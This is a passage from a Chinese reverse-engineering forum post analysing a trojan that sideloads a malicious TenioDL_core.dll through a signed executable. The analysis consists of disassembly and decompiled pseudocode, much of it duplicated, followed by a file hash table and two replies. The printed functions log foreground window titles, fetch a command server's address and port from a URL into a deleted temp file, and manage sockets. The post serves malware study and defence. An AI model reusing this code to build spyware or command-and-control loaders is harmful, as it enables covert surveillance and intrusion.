  return v0;
}

int sub_10005F30()
{

  int v0; // esi

  struct _SYSTEMTIME SystemTime; // [esp+8h] [ebp-410h] BYREF

  CHAR String[1021]; // [esp+18h] [ebp-400h] BYREF

  __int16 v4; // [esp+415h] [ebp-3h]

  char v5; // [esp+417h] [ebp-1h]
 

  memset(::String, 0, sizeof(::String));

  dword_10022A10 = (int)GetForegroundWindow();

  GetWindowTextA((HWND)dword_10022A10, ::String, 1024);

  memset(String, 0, sizeof(String));

  v0 = 0;

  v4 = 0;

  v5 = 0;

  if ( dword_10022A10 != dword_1002260C )

  {

    if ( lstrlenA(::String) > 0 )

    {

      GetLocalTime(&SystemTime);

      wsprintfA(

        String,

        asc_1001B97C,

        ::String,

        SystemTime.wYear,

        SystemTime.wMonth,

        SystemTime.wDay,

        SystemTime.wHour,

        SystemTime.wMinute,

        SystemTime.wSecond);

      SaveStrToLocalFile(String);

      memset(::String, 0, sizeof(::String));

      v0 = 1;

    }

    dword_1002260C = dword_10022A10;

  }

  return v0;
}
.text:10006250 81 EC 0C 02 00 00             sub     esp, 20Ch
.text:10006256 53                            push    ebx
.text:10006257 55                            push    ebp
.text:10006258 56                            push    esi
.text:10006259 57                            push    edi
.text:1000625A 8B E9                         mov     ebp, ecx
.text:1000625C 81 EC 20 06 00 00             sub     esp, 620h
.text:10006262 B9 88 01 00 00                mov     ecx, 188h
.text:10006267 8D B4 24 40 08 00 00          lea     esi, [esp+83Ch+arg_0]
.text:1000626E 8B FC                         mov     edi, esp
.text:10006270 68 59 1F 00 00                push    1F59h
.text:10006275 F3 A5                         rep movsd
.text:10006277 8B CD                         mov     ecx, ebp
.text:10006279 89 AC 24 34 06 00 00          mov     [esp+840h+var_20C], ebp
.text:10006280 E8 4B D2 FF FF                call    sub_100034D0
.text:10006250 81 EC 0C 02 00 00             sub     esp, 20Ch
.text:10006256 53                            push    ebx
.text:10006257 55                            push    ebp
.text:10006258 56                            push    esi
.text:10006259 57                            push    edi
.text:1000625A 8B E9                         mov     ebp, ecx
.text:1000625C 81 EC 20 06 00 00             sub     esp, 620h
.text:10006262 B9 88 01 00 00                mov     ecx, 188h
.text:10006267 8D B4 24 40 08 00 00          lea     esi, [esp+83Ch+arg_0]
.text:1000626E 8B FC                         mov     edi, esp
.text:10006270 68 59 1F 00 00                push    1F59h
.text:10006275 F3 A5                         rep movsd
.text:10006277 8B CD                         mov     ecx, ebp
.text:10006279 89 AC 24 34 06 00 00          mov     [esp+840h+var_20C], ebp
.text:10006280 E8 4B D2 FF FF                call    sub_100034D0
.text:100034D0 81 EC EC 01 00 00             sub     esp, 1ECh
.text:100034D6 53                            push    ebx
.text:100034D7 55                            push    ebp
.text:100034D8 56                            push    esi
.text:100034D9 57                            push    edi
.text:100034DA 8B D9                         mov     ebx, ecx
.text:100034DC E8 4F 03 00 00                call    sub_10003830
.text:100034DC
.text:100034E1 8D 7B 04                      lea     edi, [ebx+4]
.text:100034E4 B9 88 01 00 00                mov     ecx, 188h
.text:100034E9 8D B4 24 04 02 00 00          lea     esi, [esp+1FCh+arg_4]
.text:100034F0 8D 43 38                      lea     eax, [ebx+38h]
.text:100034F3 F3 A5                         rep movsd
.text:100034F5 8D B3 2C 06 00 00             lea     esi, [ebx+62Ch]
.text:100034FB 50                            push    eax                             ; lpString2
.text:100034FC 56                            push    esi                             ; lpString1
.text:100034FD FF 15 2C 52 01 10             call    ds:lstrcpyA
.text:100034FD
.text:10003503 8B 4B 10                      mov     ecx, [ebx+10h]
.text:10003506 8D BB 38 01 00 00             lea     edi, [ebx+138h]
.text:1000350C 57                            push    edi                             ; lpString
.text:1000350D 89 8B 30 07 00 00             mov     [ebx+730h], ecx
.text:10003513 FF 15 34 52 01 10             call    ds:lstrlenA
.text:10003513
.text:10003519 85 C0                         test    eax, eax

.text:1000351B 74 08                         jz      short loc_10003525
.text:1000351B
.text:1000351D 57                            push    edi
.text:1000351E 8B CB                         mov     ecx, ebx
.text:10003520 E8 AB 00 00 00                call    sub_100035D0
.text:10003520
.text:10003525
.text:10003525                               loc_10003525:                           ; CODE XREF: sub_100034D0+4B↑j
.text:10003525 8B 2D 00 52 01 10             mov     ebp, ds:GetTickCount
.text:1000352B FF D5                         call    ebp ; GetTickCount
.text:1000352B
.text:1000352D 8B 93 30 07 00 00             mov     edx, [ebx+730h]
.text:10003533 8B CB                         mov     ecx, ebx
.text:10003535 52                            push    edx                             ; hostshort
.text:10003536 56                            push    esi                             ; lpString2
.text:10003537 89 44 24 18                   mov     [esp+204h+var_1EC], eax
.text:1000353B E8 A0 0B 00 00                call    sub_100040E0
.text:1000353B
.text:10003540 85 C0                         test    eax, eax
.text:10003542 89 83 24 06 00 00             mov     [ebx+624h], eax

.text:10003548 75 0D                         jnz     short loc_10003557
.text:10003548
.text:1000354A 5F                            pop     edi
.text:1000354B 5E                            pop     esi
.text:1000354C 5D                            pop     ebp
.text:1000354D 5B                            pop     ebx
.text:1000354E 81 C4 EC 01 00 00             add     esp, 1ECh
.text:10003554 C2 24 06                      retn    624h
.text:10003554
.text:10003557                               ; ---------------------------------------------------------------------------
.text:10003557
.text:10003557                               loc_10003557:                           ; CODE XREF: sub_100034D0+78↑j

.text:10003557 B9 78 00 00 00                mov     ecx, 78h ; 'x'
.text:1000355C 33 C0                         xor     eax, eax
.text:1000355E 8D 7C 24 1C                   lea     edi, [esp+1FCh+var_1E0]
.text:10003562 F3 AB                         rep stosd
.text:10003564 8B 84 24 00 02 00 00          mov     eax, [esp+1FCh+arg_0]
.text:1000356B 8B 8B 0C 05 00 00             mov     ecx, [ebx+50Ch]
.text:10003571 89 44 24 14                   mov     dword ptr [esp+1FCh+buf], eax
.text:10003575 89 4C 24 48                   mov     [esp+1FCh+var_1B4], ecx
.text:10003579 FF D5                         call    ebp ; GetTickCount
.text:10003579
.text:1000357B 8B 74 24 10                   mov     esi, [esp+1FCh+var_1EC]
.text:1000357F 8D 54 24 14                   lea     edx, [esp+1FCh+buf]
.text:10003583 2B C6                         sub     eax, esi
.text:10003585 8B CB                         mov     ecx, ebx
.text:10003587 50                            push    eax
.text:10003588 8D 43 04                      lea     eax, [ebx+4]
.text:1000358B 50                            push    eax
.text:1000358C 52                            push    edx
.text:1000358D E8 BE 09 00 00                call    sub_10003F50
.text:1000358D
.text:10003592 8D 44 24 14                   lea     eax, [esp+1FCh+buf]
.text:10003596 68 E8 01 00 00                push    1E8h
.text:1000359B 50                            push    eax
.text:1000359C E8 BF 30 00 00                call    sub_10006660
.text:1000359C
.text:100035A1 83 C4 08                      add     esp, 8
.text:100035A4 8D 4C 24 14                   lea     ecx, [esp+1FCh+buf]
.text:100035A8 68 E8 01 00 00                push    1E8h                            ; len
.text:100035AD 51                            push    ecx                             ; buf
.text:100035AE 8B CB                         mov     ecx, ebx
.text:100035B0 E8 BB 01 00 00                call    sub_10003770
.text:100035B0
.text:100035B5 5F                            pop     edi
.text:100035B6 5E                            pop     esi
.text:100035B7 5D                            pop     ebp
.text:100035B8 5B                            pop     ebx
.text:100035B9 81 C4 EC 01 00 00             add     esp, 1ECh
.text:100035BF C2 24 06                      retn    624h
.text:100035BF
.text:100035BF                               sub_100034D0 endp
.text:100034D0 81 EC EC 01 00 00             sub     esp, 1ECh
.text:100034D6 53                            push    ebx
.text:100034D7 55                            push    ebp
.text:100034D8 56                            push    esi
.text:100034D9 57                            push    edi
.text:100034DA 8B D9                         mov     ebx, ecx
.text:100034DC E8 4F 03 00 00                call    sub_10003830
.text:100034DC
.text:100034E1 8D 7B 04                      lea     edi, [ebx+4]
.text:100034E4 B9 88 01 00 00                mov     ecx, 188h
.text:100034E9 8D B4 24 04 02 00 00          lea     esi, [esp+1FCh+arg_4]
.text:100034F0 8D 43 38                      lea     eax, [ebx+38h]
.text:100034F3 F3 A5                         rep movsd
.text:100034F5 8D B3 2C 06 00 00             lea     esi, [ebx+62Ch]
.text:100034FB 50                            push    eax                             ; lpString2
.text:100034FC 56                            push    esi                             ; lpString1
.text:100034FD FF 15 2C 52 01 10             call    ds:lstrcpyA
.text:100034FD
.text:10003503 8B 4B 10                      mov     ecx, [ebx+10h]
.text:10003506 8D BB 38 01 00 00             lea     edi, [ebx+138h]
.text:1000350C 57                            push    edi                             ; lpString
.text:1000350D 89 8B 30 07 00 00             mov     [ebx+730h], ecx
.text:10003513 FF 15 34 52 01 10             call    ds:lstrlenA
.text:10003513
.text:10003519 85 C0                         test    eax, eax

.text:1000351B 74 08                         jz      short loc_10003525
.text:1000351B
.text:1000351D 57                            push    edi
.text:1000351E 8B CB                         mov     ecx, ebx
.text:10003520 E8 AB 00 00 00                call    sub_100035D0
.text:10003520
.text:10003525
.text:10003525                               loc_10003525:                           ; CODE XREF: sub_100034D0+4B↑j
.text:10003525 8B 2D 00 52 01 10             mov     ebp, ds:GetTickCount
.text:1000352B FF D5                         call    ebp ; GetTickCount
.text:1000352B
.text:1000352D 8B 93 30 07 00 00             mov     edx, [ebx+730h]
.text:10003533 8B CB                         mov     ecx, ebx
.text:10003535 52                            push    edx                             ; hostshort
.text:10003536 56                            push    esi                             ; lpString2
.text:10003537 89 44 24 18                   mov     [esp+204h+var_1EC], eax
.text:1000353B E8 A0 0B 00 00                call    sub_100040E0
.text:1000353B
.text:10003540 85 C0                         test    eax, eax
.text:10003542 89 83 24 06 00 00             mov     [ebx+624h], eax

.text:10003548 75 0D                         jnz     short loc_10003557
.text:10003548
.text:1000354A 5F                            pop     edi
.text:1000354B 5E                            pop     esi
.text:1000354C 5D                            pop     ebp
.text:1000354D 5B                            pop     ebx
.text:1000354E 81 C4 EC 01 00 00             add     esp, 1ECh
.text:10003554 C2 24 06                      retn    624h
.text:10003554
.text:10003557                               ; ---------------------------------------------------------------------------
.text:10003557
.text:10003557                               loc_10003557:                           ; CODE XREF: sub_100034D0+78↑j

.text:10003557 B9 78 00 00 00                mov     ecx, 78h ; 'x'
.text:1000355C 33 C0                         xor     eax, eax
.text:1000355E 8D 7C 24 1C                   lea     edi, [esp+1FCh+var_1E0]
.text:10003562 F3 AB                         rep stosd
.text:10003564 8B 84 24 00 02 00 00          mov     eax, [esp+1FCh+arg_0]
.text:1000356B 8B 8B 0C 05 00 00             mov     ecx, [ebx+50Ch]
.text:10003571 89 44 24 14                   mov     dword ptr [esp+1FCh+buf], eax
.text:10003575 89 4C 24 48                   mov     [esp+1FCh+var_1B4], ecx
.text:10003579 FF D5                         call    ebp ; GetTickCount
.text:10003579
.text:1000357B 8B 74 24 10                   mov     esi, [esp+1FCh+var_1EC]
.text:1000357F 8D 54 24 14                   lea     edx, [esp+1FCh+buf]
.text:10003583 2B C6                         sub     eax, esi
.text:10003585 8B CB                         mov     ecx, ebx
.text:10003587 50                            push    eax
.text:10003588 8D 43 04                      lea     eax, [ebx+4]
.text:1000358B 50                            push    eax
.text:1000358C 52                            push    edx
.text:1000358D E8 BE 09 00 00                call    sub_10003F50
.text:1000358D
.text:10003592 8D 44 24 14                   lea     eax, [esp+1FCh+buf]
.text:10003596 68 E8 01 00 00                push    1E8h
.text:1000359B 50                            push    eax
.text:1000359C E8 BF 30 00 00                call    sub_10006660
.text:1000359C
.text:100035A1 83 C4 08                      add     esp, 8
.text:100035A4 8D 4C 24 14                   lea     ecx, [esp+1FCh+buf]
.text:100035A8 68 E8 01 00 00                push    1E8h                            ; len
.text:100035AD 51                            push    ecx                             ; buf
.text:100035AE 8B CB                         mov     ecx, ebx
.text:100035B0 E8 BB 01 00 00                call    sub_10003770
.text:100035B0
.text:100035B5 5F                            pop     edi
.text:100035B6 5E                            pop     esi
.text:100035B7 5D                            pop     ebp
.text:100035B8 5B                            pop     ebx
.text:100035B9 81 C4 EC 01 00 00             add     esp, 1ECh
.text:100035BF C2 24 06                      retn    624h
.text:100035BF
.text:100035BF                               sub_100034D0 endp
.text:10003830 56                            push    esi
.text:10003831 8B F1                         mov     esi, ecx
.text:10003833 8B 86 24 06 00 00             mov     eax, [esi+624h]
.text:10003839 85 C0                         test    eax, eax

.text:1000383B 74 11                         jz      short loc_1000384E
.text:1000383B
.text:1000383D 50                            push    eax                             ; s
.text:1000383E FF 15 40 54 01 10             call    ds:closesocket
.text:1000383E
.text:10003844 C7 86 24 06 00 00 00 00 00 00 mov     dword ptr [esi+624h], 0
.text:10003844
.text:1000384E
.text:1000384E                               loc_1000384E:                           ; CODE XREF: sub_10003830+B↑j
.text:1000384E 5E                            pop     esi
.text:1000384F C3                            retn
.text:1000384F
.text:1000384F                               sub_10003830 endp
.text:10003830 56                            push    esi
.text:10003831 8B F1                         mov     esi, ecx
.text:10003833 8B 86 24 06 00 00             mov     eax, [esi+624h]
.text:10003839 85 C0                         test    eax, eax

.text:1000383B 74 11                         jz      short loc_1000384E
.text:1000383B
.text:1000383D 50                            push    eax                             ; s
.text:1000383E FF 15 40 54 01 10             call    ds:closesocket
.text:1000383E
.text:10003844 C7 86 24 06 00 00 00 00 00 00 mov     dword ptr [esi+624h], 0
.text:10003844
.text:1000384E
.text:1000384E                               loc_1000384E:                           ; CODE XREF: sub_10003830+B↑j
.text:1000384E 5E                            pop     esi
.text:1000384F C3                            retn
.text:1000384F
.text:1000384F                               sub_10003830 endp

int __thiscall sub_10003830(SOCKET *this)
{

  int result; // eax
 

  result = this[393];

  if ( result )

  {

    result = closesocket(this[393]);

    this[393] = 0;

  }

  return result;
}

int __thiscall sub_10003830(SOCKET *this)
{

  int result; // eax
 

  result = this[393];

  if ( result )

  {

    result = closesocket(this[393]);

    this[393] = 0;

  }

  return result;
}
.text:100034D0 81 EC EC 01 00 00             sub     esp, 1ECh
.text:100034D6 53                            push    ebx
.text:100034D7 55                            push    ebp
.text:100034D8 56                            push    esi
.text:100034D9 57                            push    edi
.text:100034DA 8B D9                         mov     ebx, ecx
.text:100034DC E8 4F 03 00 00                call    sub_10003830
.text:100034D0 81 EC EC 01 00 00             sub     esp, 1ECh
.text:100034D6 53                            push    ebx
.text:100034D7 55                            push    ebp
.text:100034D8 56                            push    esi
.text:100034D9 57                            push    edi
.text:100034DA 8B D9                         mov     ebx, ecx
.text:100034DC E8 4F 03 00 00                call    sub_10003830
sub_10003830();

qmemcpy((void *)(a1 + 4), &a3, 0x620u);

lstrcpyA((LPSTR)(a1 + 1580), (LPCSTR)(a1 + 56));
*(_DWORD *)(a1 + 1840) = *(_DWORD *)(a1 + 16);
sub_10003830();

qmemcpy((void *)(a1 + 4), &a3, 0x620u);

lstrcpyA((LPSTR)(a1 + 1580), (LPCSTR)(a1 + 56));
*(_DWORD *)(a1 + 1840) = *(_DWORD *)(a1 + 16);

if ( lstrlenA((LPCSTR)(a1 + 312)) )

    sub_100035D0(a1 + 312);

if ( lstrlenA((LPCSTR)(a1 + 312)) )

    sub_100035D0(a1 + 312);

int __thiscall ParseWebTmpFileInfo(int this, const char *a2)
{

  int v3; // eax

  int result; // eax

  HANDLE FileA; // eax

  void *v6; // edi

  unsigned int FileSize; // ebp

  void *v8; // esi

  PSTR v9; // eax

  PSTR v10; // eax

  PSTR v11; // eax

  PSTR v12; // edi

  DWORD CurrentThreadId; // [esp-4h] [ebp-518h]

  DWORD NumberOfBytesRead; // [esp+Ch] [ebp-508h] BYREF

  CHAR Buffer[257]; // [esp+10h] [ebp-504h] BYREF

  __int16 v16; // [esp+111h] [ebp-403h]

  char v17; // [esp+113h] [ebp-401h]

  CHAR szUrl[1021]; // [esp+114h] [ebp-400h] BYREF

  __int16 v19; // [esp+511h] [ebp-3h]

  char v20; // [esp+513h] [ebp-1h]
 

  memset(szUrl, 0, sizeof(szUrl));

  v19 = 0;

  v20 = 0;

  wsprintfA(szUrl, "http://%s", a2);            // 构建URL

  memset(Buffer, 0, sizeof(Buffer));

  v16 = 0;

  v17 = 0;

  GetTempPathA(0xFAu, Buffer);                  // 获取系统临时文件夹的路径

  CurrentThreadId = GetCurrentThreadId();       // 获取当前线程的ID

  v3 = lstrlenA(Buffer);

  wsprintfA(&Buffer[v3], "%08x.txt", CurrentThreadId);// 构建一个临时文件名，TID.txt

  result = DownloadData2FileFromUrl(szUrl, Buffer);// 从URL下载数据到临时文件

  if ( result )

  {

    FileA = CreateFileA(Buffer, 0x80000000, 1u, 0, 3u, 0x80u, 0);

    v6 = FileA;

    if ( FileA == (HANDLE)-1 )

    {

      return 0;

    }

    else

    {

      NumberOfBytesRead = 0;

      FileSize = GetFileSize(FileA, 0);

      v8 = operator new(FileSize);

      ReadFile(v6, v8, FileSize, &NumberOfBytesRead, 0);// 把临时文件数据写入内存

      CloseHandle(v6);

      DeleteFileA(Buffer);                      // 写入内存之后就删了临时文件

      v9 = StrChrA((PCSTR)v8, 0xDu);            // 回车，CR，13

      if ( v9 )                                 // 置空

        *v9 = 0;

      v10 = StrChrA((PCSTR)v8, 0xAu);           // 换行，LF，10

      if ( v10 )                                // 置空

        *v10 = 0;

      v11 = StrChrA((PCSTR)v8, 0x3Au);          // 冒号，58

      v12 = v11;

      if ( v11 )

      {

        *v11 = 0;

        lstrcpyA((LPSTR)(this + 1580), (LPCSTR)v8);// 如果找到冒号，分割字符串并将前半部分复制到this+1580的位置

        *(_DWORD *)(this + 1840) = StrToIntA(v12 + 1);// 将冒号后的字符串（端口）转换为整数并存储到this+1840的位置

      }

      else

      {

        lstrcpyA((LPSTR)(this + 1580), (LPCSTR)v8);// 如果没有找到冒号，只复制字符串并设置默认端口80

        *(_DWORD *)(this + 1840) = 80;

      }

      operator delete(v8);                      // 关闭内存

      return 1;

    }

  }

  return result;
}

int __thiscall ParseWebTmpFileInfo(int this, const char *a2)
{

  int v3; // eax

  int result; // eax

  HANDLE FileA; // eax

  void *v6; // edi

  unsigned int FileSize; // ebp

  void *v8; // esi

  PSTR v9; // eax

  PSTR v10; // eax

  PSTR v11; // eax

  PSTR v12; // edi

  DWORD CurrentThreadId; // [esp-4h] [ebp-518h]

  DWORD NumberOfBytesRead; // [esp+Ch] [ebp-508h] BYREF

  CHAR Buffer[257]; // [esp+10h] [ebp-504h] BYREF

  __int16 v16; // [esp+111h] [ebp-403h]

  char v17; // [esp+113h] [ebp-401h]

  CHAR szUrl[1021]; // [esp+114h] [ebp-400h] BYREF

  __int16 v19; // [esp+511h] [ebp-3h]

  char v20; // [esp+513h] [ebp-1h]
 

  memset(szUrl, 0, sizeof(szUrl));

  v19 = 0;

  v20 = 0;

  wsprintfA(szUrl, "http://%s", a2);            // 构建URL

  memset(Buffer, 0, sizeof(Buffer));

  v16 = 0;

  v17 = 0;

  GetTempPathA(0xFAu, Buffer);                  // 获取系统临时文件夹的路径

  CurrentThreadId = GetCurrentThreadId();       // 获取当前线程的ID

  v3 = lstrlenA(Buffer);

  wsprintfA(&Buffer[v3], "%08x.txt", CurrentThreadId);// 构建一个临时文件名，TID.txt

  result = DownloadData2FileFromUrl(szUrl, Buffer);// 从URL下载数据到临时文件

  if ( result )

  {

    FileA = CreateFileA(Buffer, 0x80000000, 1u, 0, 3u, 0x80u, 0);

    v6 = FileA;

    if ( FileA == (HANDLE)-1 )

    {

      return 0;

    }

    else

    {

      NumberOfBytesRead = 0;

      FileSize = GetFileSize(FileA, 0);

      v8 = operator new(FileSize);

      ReadFile(v6, v8, FileSize, &NumberOfBytesRead, 0);// 把临时文件数据写入内存

      CloseHandle(v6);

      DeleteFileA(Buffer);                      // 写入内存之后就删了临时文件

      v9 = StrChrA((PCSTR)v8, 0xDu);            // 回车，CR，13

      if ( v9 )                                 // 置空

        *v9 = 0;

      v10 = StrChrA((PCSTR)v8, 0xAu);           // 换行，LF，10

      if ( v10 )                                // 置空

        *v10 = 0;

      v11 = StrChrA((PCSTR)v8, 0x3Au);          // 冒号，58

      v12 = v11;

      if ( v11 )

      {

        *v11 = 0;

        lstrcpyA((LPSTR)(this + 1580), (LPCSTR)v8);// 如果找到冒号，分割字符串并将前半部分复制到this+1580的位置

        *(_DWORD *)(this + 1840) = StrToIntA(v12 + 1);// 将冒号后的字符串（端口）转换为整数并存储到this+1840的位置

      }

      else

      {

        lstrcpyA((LPSTR)(this + 1580), (LPCSTR)v8);// 如果没有找到冒号，只复制字符串并设置默认端口80

        *(_DWORD *)(this + 1840) = 80;

      }

      operator delete(v8);                      // 关闭内存

      return 1;

    }

  }

  return result;
}

int __cdecl sub_100064C0(LPCSTR lpszUrl, LPCSTR lpFileName)
{

  void *v2; // ebp

  void *v3; // esi

  HANDLE FileA; // edi

  int v6; // ebx

  DWORD dwNumberOfBytesRead; // [esp+10h] [ebp-1218h] BYREF

  int v8; // [esp+14h] [ebp-1214h]

  HINTERNET hInternet; // [esp+18h] [ebp-1210h]

  DWORD dwBufferLength; // [esp+1Ch] [ebp-120Ch] BYREF

  DWORD dwIndex; // [esp+20h] [ebp-1208h] BYREF

  DWORD NumberOfBytesWritten; // [esp+24h] [ebp-1204h] BYREF

  _BYTE String2[253]; // [esp+28h] [ebp-1200h] BYREF

  __int16 v14; // [esp+125h] [ebp-1103h]

  char v15; // [esp+127h] [ebp-1101h]

  CHAR Buffer[253]; // [esp+128h] [ebp-1100h] BYREF

  __int16 v17; // [esp+225h] [ebp-1003h]

  char v18; // [esp+227h] [ebp-1001h]

  char v19[4096]; // [esp+228h] [ebp-1000h] BYREF
 

  v2 = InternetOpenA(pszSubKey, 0, 0, 0, 0);

  hInternet = v2;

  if ( !v2 )

    return 0;

  v3 = InternetOpenUrlA(v2, lpszUrl, 0, 0, 0x80000100, 0);

  if ( !v3 )

  {

    InternetCloseHandle(v2);

    return 0;

  }

  memset(Buffer, 0, sizeof(Buffer));

  memset(&String2[1], 0, 0xFCu);

  v14 = 0;

  v15 = 0;

  v17 = 0;

  v18 = 0;

  qmemcpy(String2, "200", 3);

  dwBufferLength = 250;

  dwIndex = 0;

  if ( !HttpQueryInfoA(v3, 0x13u, Buffer, &dwBufferLength, &dwIndex)

    || lstrcmpA(Buffer, String2)

    || (FileA = CreateFileA(lpFileName, 0x40000000u, 0, 0, 1u, 0x80u, 0), FileA == (HANDLE)-1) )

  {

    InternetCloseHandle(v3);

    InternetCloseHandle(v2);

    return 0;

  }

  v8 = 0;

  dwNumberOfBytesRead = 0;

  NumberOfBytesWritten = 0;

  while ( InternetReadFile(v3, v19, 0xFA0u, &dwNumberOfBytesRead) )

  {

    if ( !dwNumberOfBytesRead )

    {

      v6 = 1;

      goto LABEL_13;

    }

    WriteFile(FileA, v19, dwNumberOfBytesRead, &NumberOfBytesWritten, 0);

  }

  v6 = v8;
LABEL_13:

  CloseHandle(FileA);

  InternetCloseHandle(v3);

  InternetCloseHandle(hInternet);

  return v6;
}

int __cdecl sub_100064C0(LPCSTR lpszUrl, LPCSTR lpFileName)
{

  void *v2; // ebp

  void *v3; // esi

  HANDLE FileA; // edi

  int v6; // ebx

  DWORD dwNumberOfBytesRead; // [esp+10h] [ebp-1218h] BYREF

  int v8; // [esp+14h] [ebp-1214h]

  HINTERNET hInternet; // [esp+18h] [ebp-1210h]

  DWORD dwBufferLength; // [esp+1Ch] [ebp-120Ch] BYREF

  DWORD dwIndex; // [esp+20h] [ebp-1208h] BYREF

  DWORD NumberOfBytesWritten; // [esp+24h] [ebp-1204h] BYREF

  _BYTE String2[253]; // [esp+28h] [ebp-1200h] BYREF

  __int16 v14; // [esp+125h] [ebp-1103h]

  char v15; // [esp+127h] [ebp-1101h]

  CHAR Buffer[253]; // [esp+128h] [ebp-1100h] BYREF

  __int16 v17; // [esp+225h] [ebp-1003h]

  char v18; // [esp+227h] [ebp-1001h]

  char v19[4096]; // [esp+228h] [ebp-1000h] BYREF
 

  v2 = InternetOpenA(pszSubKey, 0, 0, 0, 0);

  hInternet = v2;

  if ( !v2 )

    return 0;

  v3 = InternetOpenUrlA(v2, lpszUrl, 0, 0, 0x80000100, 0);

  if ( !v3 )

  {

    InternetCloseHandle(v2);

    return 0;

  }

  memset(Buffer, 0, sizeof(Buffer));

  memset(&String2[1], 0, 0xFCu);

  v14 = 0;

  v15 = 0;

  v17 = 0;

  v18 = 0;

  qmemcpy(String2, "200", 3);

  dwBufferLength = 250;

  dwIndex = 0;

  if ( !HttpQueryInfoA(v3, 0x13u, Buffer, &dwBufferLength, &dwIndex)

    || lstrcmpA(Buffer, String2)

    || (FileA = CreateFileA(lpFileName, 0x40000000u, 0, 0, 1u, 0x80u, 0), FileA == (HANDLE)-1) )

  {

    InternetCloseHandle(v3);

    InternetCloseHandle(v2);

    return 0;

  }

  v8 = 0;

  dwNumberOfBytesRead = 0;

  NumberOfBytesWritten = 0;

  while ( InternetReadFile(v3, v19, 0xFA0u, &dwNumberOfBytesRead) )

  {

    if ( !dwNumberOfBytesRead )

    {

      v6 = 1;

      goto LABEL_13;

    }

    WriteFile(FileA, v19, dwNumberOfBytesRead, &NumberOfBytesWritten, 0);

  }

  v6 = v8;
LABEL_13:

  CloseHandle(FileA);

  InternetCloseHandle(v3);

  InternetCloseHandle(hInternet);

  return v6;
}
TickCount = GetTickCount();

result = sub_100040E0((LPCSTR)(a1 + 1580), *(_DWORD *)(a1 + 1840));
TickCount = GetTickCount();

		
								
				
				登录后可查看完整内容
			
			
				
	

[培训]内核驱动高级班，冲击BAT一流互联网大厂工作，每周日13:00-18:00直播授课

		最后于  2024-6-12 00:32		
				被天堂猪0ink编辑
				
		，原因： 有错误		
	

		#病毒木马
		#调试逆向
	

上传的附件：

		
			
			信誉新价格(解压密码：infected ).rar
		
		（422.07kb，35次下载）
文件名	MD5	是否有签名
HD_Comm.dll	4E7297B83268994537D575716CC65A54	无
截图.bmp.lnk	5C9422B6B2731A67D8504CD5C8F96812	无
Au.exe	4BED62D4A1344F3A87E8B8A629E3B26D	有(腾讯游戏云加速下载引擎（旋风Inside）
Config.dat	B6BE1CFEB69FC091E67480E45E9B4B4D	无
io.dat	798536BB39EF2066DF35885F78C59A58	无
Reg.dll	E3DE7CB9E11F877ABDB56D832F20E76F	有
config.dat	B6BE1CFEB69FC091E67480E45E9B4B4D	无
dllhost.exe	9A0F444364CC3FC74C3AB1E7BFBD219B	无
load.exe	4BED62D4A1344F3A87E8B8A629E3B26D	有(腾讯游戏云加速下载引擎（旋风Inside）)
TenioDL_core.dll	4E7297B83268994537D575716CC65A54	无
收藏・8
免费・5
支持
最新回复 (2)
time.time 雪币： 600 活跃值： (843) 能力值： ( LV3，RANK：20 ) 在线值：发帖 2 回帖 9 粉丝 6 关注私信	time.time 2 楼白exe是rundll32嘛还是Au.exe，没看到dll劫持呀 2024-5-11 13:51 0
天堂猪0ink 雪币： 3011 活跃值： (953) 能力值： ( LV7，RANK：100 ) 在线值：发帖 6 回帖 15 粉丝 26 关注私信	天堂猪0ink 2 3 楼 time.time 白exe是rundll32嘛还是Au.exe，没看到dll劫持呀白是Au.exe，他用了TenioDL_core.dll的导出函数TenioDL_Initialize，恶意的dll是TenioDL_core.dll 2024-5-11 13:55 0
	游客登录 \| 注册方可回帖回帖表情雪币赚取及消费高级回复
天堂猪0ink
发帖
回帖
100
RANK
关注
私信
他的文章
关于我们
联系我们
企业服务
看雪公众号
最新回复 (2)
time.time 雪币： 600 活跃值： (843) 能力值： ( LV3，RANK：20 ) 在线值：发帖 2 回帖 9 粉丝 6 关注私信	time.time 2 楼白exe是rundll32嘛还是Au.exe，没看到dll劫持呀 2024-5-11 13:51 0
天堂猪0ink 雪币： 3011 活跃值： (953) 能力值： ( LV7，RANK：100 ) 在线值：发帖 6 回帖 15 粉丝 26 关注私信	天堂猪0ink 2 3 楼 time.time 白exe是rundll32嘛还是Au.exe，没看到dll劫持呀白是Au.exe，他用了TenioDL_core.dll的导出函数TenioDL_Initialize，恶意的dll是TenioDL_core.dll 2024-5-11 13:55 0
	游客登录 \| 注册方可回帖回帖表情雪币赚取及消费高级回复